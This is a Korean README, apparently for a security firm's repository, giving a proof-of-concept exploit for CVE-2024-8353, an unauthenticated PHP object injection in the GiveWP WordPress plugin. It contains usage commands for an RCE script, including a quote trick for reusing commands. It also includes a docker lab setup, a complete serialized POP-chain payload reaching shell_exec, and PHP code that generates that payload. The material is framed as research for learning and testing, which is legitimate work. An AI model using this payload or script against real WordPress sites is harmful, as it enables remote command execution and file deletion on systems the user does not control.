
GiveWP PHP 객체 인젝션 익스플로잇
이 글은 EQSTLab이 발행한 연구 문서입니다. 이 취약점을 발견한 cuokon에게 감사드립니다.
CVE-2024-5932 추가 분석 EQST Insight R&T(PDF 파일).
https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021
★ CVE-2024-8353 임의 파일 삭제 및 RCE PoC ★
CVE-2024-8353 : GiveWP PHP 객체 주입 취약점
설명: givewp – WordPress 기부 플러그인 겸 펀드레이징 플랫폼 플러그인은 give_title 및 card_address와 같은 여러 매개변수를 통한 신뢰할 수 없는 입력의 역직렬화로 인해 3.16.1까지(포함) 모든 버전에서 PHP 객체 주입 취약점에 노출됩니다. 이를 통해 인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. 추가적으로 POP 체인이 존재하여 공격자는 임의 파일을 삭제하고 원격 코드 실행을 달성할 수 있습니다. 이는 본질적으로 CVE-2024-5932와 동일한 취약점이지만, user_info에 대한 stripslashes_deep의 존재로 인해 is_serialized 검사를 우회할 수 있다는 점이 발견되었습니다. 이 문제는 3.16.1에서 대부분 패치되었지만, 3.16.2에서 추가적인 보안 강화가 이루어졌습니다.
⚠️PoC 사용 시 "give_title"은 DB에 저장되고 중복 여부가 확인되므로 동일한 명령은 한 번만 사용할 수 있습니다. 이 경우 따옴표와 같은 일부 Linux 트릭을 사용할 수 있습니다. 예를 들어 "echo"를 사용하는 경우 "e‘’cho"처럼 입력하여 재사용할 수 있습니다.
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353
pip install -r requirements.txt
# Remote code execution
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-8353.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.16.0.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



PHPSTORM을 사용하여 GiveWP를 디버깅할 수 있습니다.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..그런 다음 WordPress를 디버깅할 수 있습니다.


기본적으로 CVE-2024-5932와 동일한 흐름이며, 차이점은 "is_serialized" 로직이 "give_title" 매개변수에도 추가되었다는 것입니다. 이 메서드는 인덱스 1에 :(콜론) 기호가 없으면 데이터가 직렬화되지 않은 것으로 판단합니다.

"is_serialized" 메서드 이후 "stripslashes_deep" 함수가 백슬래시를 제거합니다. 따라서 앞의 백슬래시()가 제거된 직렬화 데이터가 전달됩니다.

\O:19:"Stripe\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\PaymentGateways\\DataTransferObjects\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\Vendors\\Faker\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\Onboarding\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (명령 문자열 반환)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
POP 체인을 통해 원격 명령 실행이 가능합니다.

이 저장소는 CVE-2024-8353에 대한 객체 주입 익스플로잇을 제공하기 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.
저희는 월 1회 CVE 및 악성코드 분석을 게시합니다. 관심이 있으시다면 아래 링크를 통해 발행물을 확인해 보시기 바랍니다. https://www.skshieldus.com/eng/business/insight.do